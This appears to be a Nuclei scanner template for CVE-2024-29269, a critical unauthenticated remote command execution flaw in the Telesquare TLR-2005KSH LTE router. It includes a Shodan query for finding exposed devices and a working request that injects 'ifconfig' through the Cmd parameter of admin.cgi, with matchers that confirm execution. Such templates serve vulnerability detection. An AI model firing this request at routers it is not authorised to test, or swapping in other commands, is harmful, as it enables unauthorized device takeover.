id: CVE-2024-29269

info:
  name: Telesquare TLR-2005KSH - Remote Command Execution
  author: ritikchaddha
  severity: critical
  description: |
    Telesquare Tlr-2005Ksh is a Sk Telecom Lte router from South Korea's Telesquare company.Telesquare TLR-2005Ksh versions 1.0.0 and 1.1.4 have an unauthorized remote command execution vulnerability. An attacker can exploit this vulnerability to execute system commands without authorization through the Cmd parameter and obtain server permissions.
  impact: |
    Attackers can execute arbitrary commands on the router, leading to complete device compromise.
  remediation: |
    Update Telesquare TLR-2005KSH firmware to a version that patches the RCE vulnerability.
  reference:
    - https://github.com/wutalent/CVE-2024-29269/blob/main/index.md
    - https://gist.github.com/win3zz/c26047ae4b182c3619509d537b808d2b
    - https://github.com/Ostorlab/KEV
    - https://github.com/YongYe-Security/CVE-2024-29269
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-29269
    epss-score: 0.05848
    epss-percentile: 0.92436
    cpe: cpe:2.3:h:telesquare:tlr-2005ksh:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    shodan-query: title:"Login to TLR-2005KSH"
    product: tlr-2005ksh
    vendor: telesquare
  tags: cve,cve2024,telesquare,tlr,rce,vkev,vuln

http:
  - raw:
      - |
        GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<CmdResult>'
          - '</xml>'
          - 'Ethernet'
          - 'inet'
        condition: and

      - type: word
        part: header
        words:
          - 'text/xml'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202d2d210ac7526f35d97ee11093cd35b27fc9dd394ce3ca94a7325f6d690be91a022100c8ceb9a7a17bd86783a191d9f27e8d08b3cdb72f9e3ce84266bb8c7603dba2f1:922c64590222798bb761d5b6d8e72950